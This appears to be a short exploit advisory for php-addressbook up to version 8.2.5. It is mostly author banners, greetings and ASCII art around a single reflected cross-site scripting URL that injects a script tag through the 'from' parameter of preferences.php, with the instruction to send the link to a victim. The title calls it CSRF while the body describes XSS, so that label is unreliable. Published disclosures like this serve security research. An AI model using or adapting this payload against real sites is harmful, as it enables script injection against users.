php address book CSRF

#########################################################################

[+] Exploit Title : php address book CSRF
[+] Author : Pablo '7days' Riberio
[+] Team: So Good Security
[+] Other 0days : http://pastebin.com/u/7days
[+] Version : <= 8.2.5
[+] Tested on : windows/internet explorer
[+] Details: Cross Scripting
[+] Vendor: http://sourceforge.net/projects/php-addressbook/?source=directory
#########################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz: Greg, Sonya from Mortal Kombat, the owner of the japanese steak creation factory,
my home boy linus, all the cockneys and my grandma <3
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
no thnx 2: microsoft, windoz, estate agents and recruiters
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      `..`.:::.`
                     .://o:::///:.
                    `::+y+::::::/+/`
                     :/++/::/:/--:+o:`
                     `://:-:/-/:.-:/oo.
                      `/-.-:::/o---::+o.
                       ....-:/+hs::--:+o
                        .``-//ohh+----:+.
                       `.``-/+syhs:----/+`
                      .-.`.-:+syyo:--.-:+/
                    `---.`.-/+yo/:-----:+o.
                   .::-...-:+/o/-.-----:+so`
                 .-::-...-:::::-----:://osy:
                .::-....--:::----::/+ooosys-
               `:--.....-:/:::::/+osyyyyo:`
`             `----...--:/++++oosyyhhy+-`
:::::-------:::---..--:/+oossyyhhhhs/.
::::::-------:--.-.--:+osyyyhhhhho-`
------------.....--:/+oyyhhhhhy+.
-----------...---:/+osyhhhhyo:`
:::::-------:::/+osyyhhhhs/.
++++++++++++oossyyhhhhs/.
sssssssyyyyhhhhhhhyo:.`
        ``..---..`

                          portuguese cyber army
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] Begin 0day
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Send the user a link to this page to triger the issue:
http://victim.com/preferences.php?from=%22%3E%3Cscript%3Ealert('7days');%3C/script%3E

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] End 0day
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-